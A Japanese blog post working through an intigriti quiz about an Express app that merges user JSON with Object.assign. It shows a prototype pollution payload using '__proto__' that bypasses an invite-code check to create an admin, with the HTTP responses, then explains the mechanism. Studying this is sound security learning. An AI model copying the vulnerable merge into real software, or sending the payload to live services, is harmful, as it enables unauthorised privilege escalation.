😈

【JavaScript】intigritiの脆弱性クイズを理解する

2022/10/11に公開

Bug Bountyのプラットフォームとして有名な intigriti のツイートにて、脆弱性のあるコードのクイズが出題されていたので、調べてみました。
https://twitter.com/intigriti/status/1579436630234234882

実験

実際にコードを書いて実行してみる。

const express = require("express");

const inviteCode = require("./secret");
const app = express();

app.use(express.text());

const port = 3000;
const baseUser = { 'picture' : 'default.png'};

function createAdmin(user) {}
function  createUser(user) {}

app.post('/', (req, res) => {
  let user = JSON.parse(req.body);
  if(user.isAdmin && user.inviteCode !== inviteCode) {
    res.send('No invite code? No admin!');
  }else{
    let newUser = Object.assign(baseUser, user);
    if (newUser.isAdmin) createAdmin(newUser);
    else createUser(newUser);
    res.send('Successfully created' + 
             `${newUser.isAdmin ? 'Admin' : 'User'}`)
  }
})
app.listen(port, () => {
  console.log(`App listening on port ${port}`)
})
node index.js
App listening on port 3000  

コマンドラインからPOSTリクエストをしてみます。
curlでも良いのですが、私はhttpieを入れていたのでhttpコマンドで送信しました。

❯ http POST http://localhost:3000 Content-Type:text/plain --raw '{"hello":"hello"}'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 24
Content-Type: text/html; charset=utf-8
Date: Tue, 11 Oct 2022 01:34:23 GMT
ETag: W/"18-f0kP+bEz8U+A+B14zgWua9gdwlo"
Keep-Alive: timeout=5
X-Powered-By: Express

Successfully createdUser

雑にJSONの形式のテキストデータを送ると、ユーザーを作成することができました。

ユーザ作成の条件

条件式を詳しく見てみましょう。

  if(user.isAdmin && user.inviteCode !== inviteCode) {
    res.send('No invite code? No admin!');
  }else{
    let newUser = Object.assign(baseUser, user);
    if (newUser.isAdmin) createAdmin(newUser);
    else createUser(newUser);
    res.send('Successfully created' + 
             `${newUser.isAdmin ? 'Admin' : 'User'}`)
  }
  1. isAdminがtrueかつinviteCodeが正しくないときは、ユーザーが作成されません。
  2. そうでないときは、isAdminがtrueであれば、Adminを作成。
  3. isAdminがfalseであれば、Userを作成します。

isAdminがtrueというJSONテキストを送ってみましょう。

❯ http POST http://localhost:3000 Content-Type:text/plain --raw '{"isAdmin":true}'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Tue, 11 Oct 2022 01:51:27 GMT
ETag: W/"19-K8e38SOi1KUAKAtMTNdgM+AYvtw"
Keep-Alive: timeout=5
X-Powered-By: Express

No invite code? No admin!

招待コードが無いので、弾かれました。

この問題ではAdminを作成する方法を問われています。
正攻法で行く場合は正しいinviteCodeを渡す必要がありますが、inviteCodeの情報は無いため何らかのテクニックを使って、Adminを作らなければなりません。

解答

私は解けませんでしたが、リプで解答が示されていました。
プロトタイプ汚染攻撃(prototype pollution)というテクニックを利用するようです。

プロトタイプ汚染攻撃

JavaScriptは、オブジェクトが互いの機能を継承するためにプロトタイプというメカニズムを使っています。このプロトタイプを悪用した攻撃がプロトタイプ汚染攻撃です。
プロトタイプについてはこちらを参照↓
https://developer.mozilla.org/ja/docs/Learn/JavaScript/Objects/Object_prototypes

実践

プロトタイプを汚染したJSONテキストを作ります。

'{ "__proto__" : { "isAdmin" : true } }'

こちらをPOSTで送信してみましょう。

❯ http POST http://localhost:3000 Content-Type:text/plain --raw '{"__proto__":{"isAdmin":true}}'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Tue, 11 Oct 2022 02:11:06 GMT
ETag: W/"19-I5tGIO12e2oeSwCwkprZYMU+aUs"
Keep-Alive: timeout=5
X-Powered-By: Express

Successfully createdAdmin

なんとAdminを作ることができました!

何故こうなるのか

JavaScriptのprototypeについて、ほとんど理解していない筆者は何故こうなるのかがわかりませんでした。
厳密で詳細な理解には時間がかかるので、ここでは端的な事実を記して理解につなげます。
例えば、JavaScriptで次のようなコンストラクタ関数を定義し、インスタンスを作成します。

function User(name,isAdmin) {
  this.name = name;
  this.isAdmin = isAdmin;
  this.introduce = () => {return "My name is " + name};
}

let user1 = new User('Alice',false);

console.log(user1.name);
console.log(user1.introduce());
console.log(user1.toString());
node test.js
Alice
My name is Alice
[object Object]

Userで定義していたメンバー以外に、toString()というものも呼び出すことができています。
このtoString()Object.prototypeに定義されており、MDNのObjectの章にはこのように記述されています。

JavaScript のほぼすべてのオブジェクトが Object のインスタンスです。一般的なオブジェクトは、プロパティを (メソッドを含めて) Object.prototype から継承しています

すなわち、Userのインスタンスは、Object.prototype にある toString(Object.prototype.toString())を継承していたので呼び出すことが出来たのです。

一方で、Objectのメンバである、Object.is()Object.keys()などは継承されていないことに注意しなければなりません。継承するにはprototype内に定義されている必要があるのです。

プロトタイプ汚染の話に戻ります。
脆弱性のあるコードでは、Object.assign()を使っていました。
Object.assign()は、2つのオブジェクトをマージすることができます。

const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };

const returnedTarget = Object.assign(target, source);

console.log(returnedTarget);
Object { a: 1, b: 4, c: 5 }

ここで、bキーを見ていただくと分かるのですが、同じキーのプロパティがあると上書きされます。
よって、souceのオブジェクトのprototypeに任意のキーと値を持たせておけば、targetに対して継承させることができます。

このprototypeにアクセスする手段として、__proto__というプロパティが提供されています。
そのため、先ほどのプロトタイプ汚染の攻撃では、'{ "__proto__" : { "isAdmin" : true } }'という文字列を使ったのです。

最初のif文の段階では、isAdminというプロパティは継承されているわけでは無いので、user.isAdminではアクセス出来ず、user.__proto__.isAdminでアクセスする必要があります。

> let user = JSON.parse('{"__proto__":{"isAdmin":true}}');
> user.__proto__.isAdmin
true
> user.isAdmin
undefined

一方で2回目のif文では、直前でlet newUser = Object.assign(baseUser, user);が行われています。よって、prototypeの中にあるメンバを継承して、isAdminでもアクセスできるようになっています。

> let newUser = Object.assign(baseUser, user);
> newUser.__proto__.isAdmin
true
> newUser.isAdmin
true

これによって、adminを作ることができました。

おまけ

ちなみに、denoで試したところ、この攻撃は通用しませんでした。

> let user = JSON.parse('{"__proto__":{"isAdmin":true}}');
> user.__proto__.isAdmin
true
> user.isAdmin
undefined
> let newUser = Object.assign(baseUser, user);
> newUser.__proto__.isAdmin
true
> newUser.isAdmin
undefined

対策している?
https://github.com/denoland/deno_std/discussions/1502

感想

JavaScript難しい。
マサカリ歓迎です。

Discussion